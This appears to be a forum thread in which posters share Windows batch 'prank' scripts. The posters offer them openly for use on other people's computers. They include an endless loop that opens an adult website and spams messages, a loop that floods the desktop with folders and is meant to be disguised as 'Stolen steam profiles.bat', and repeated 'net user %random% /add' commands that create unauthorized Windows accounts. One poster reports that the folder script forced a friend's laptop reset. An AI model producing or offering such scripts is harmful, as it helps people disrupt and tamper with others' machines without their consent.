Batch? wut dat? Batch is command code for Windows-OS. It runs command through the command prompt terminal. Basics: @echo off - No idea what it does anymore. echo - Send messages me to command prompt terminal color <whatever color> - Change color of the terminal output language start <file> - The file has to be in the directory, but it starts that program start "" http://www.SaveChewbacca.com - opens a page in their default internet browser Variables: %random% - generates something random %userprofile% - grabs your user profile Very basic. I don't want to get into detail about this because it can get annoying. My version of screwing with people: @echo off :start %random% %random% You will be destroyed! %random% random% start "" www.adultmoviesitehere.com msg * Enjoy the show! msg * Don't worry, I already called your wife/girlfriend and she's on her way home, so hurry up! goto start If you want more information, and or help, PM me or comment below.
Put this at the beginning of every script and it makes it a bit clearer. Adding a few, %time% - shows the exact time. %date% - Shows the date echo %time% %date% Shows the exact time and date Mine's better. @echo off title trolololol color f cls msg * trololololol :here MD %random%Inappropriate_Files goto here Edit: Put that on someones desktop and name it Stolen steam profiles.bat or something. The Title bit names the cmd prompt. cls - Clears the screen MD - (I think that means Make dictionary or something) Makes a folder :here - makes a checkpoint-type-thing Goto here - Goes to that checkpoint called 'Here'
mm The one I did up there, I told my mate to run that and it spammed his desktop with folders deleting everything he had on it and then he had to get his laptop reset anyway. xD Good times.
Got this instead. Code: Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\Windows\system32>net user %random% /add The password does not meet the password policy requirements. Check the minimum p assword length, password complexity and password history requirements. More help is available by typing NET HELPMSG 2245. C:\Windows\system32>
"inspiration" That's one way to say it. I'd say in case you guys need some job options. If you know what I mean. *wink* *wink* *nudge* *nudge*
I hope you don't mean... err...mmm... nvm Awesome! It only works every few lines. I have to do it like this. net user %random% %random% /add cls net user %random% %random% /add cls net user %random% %random% /add cls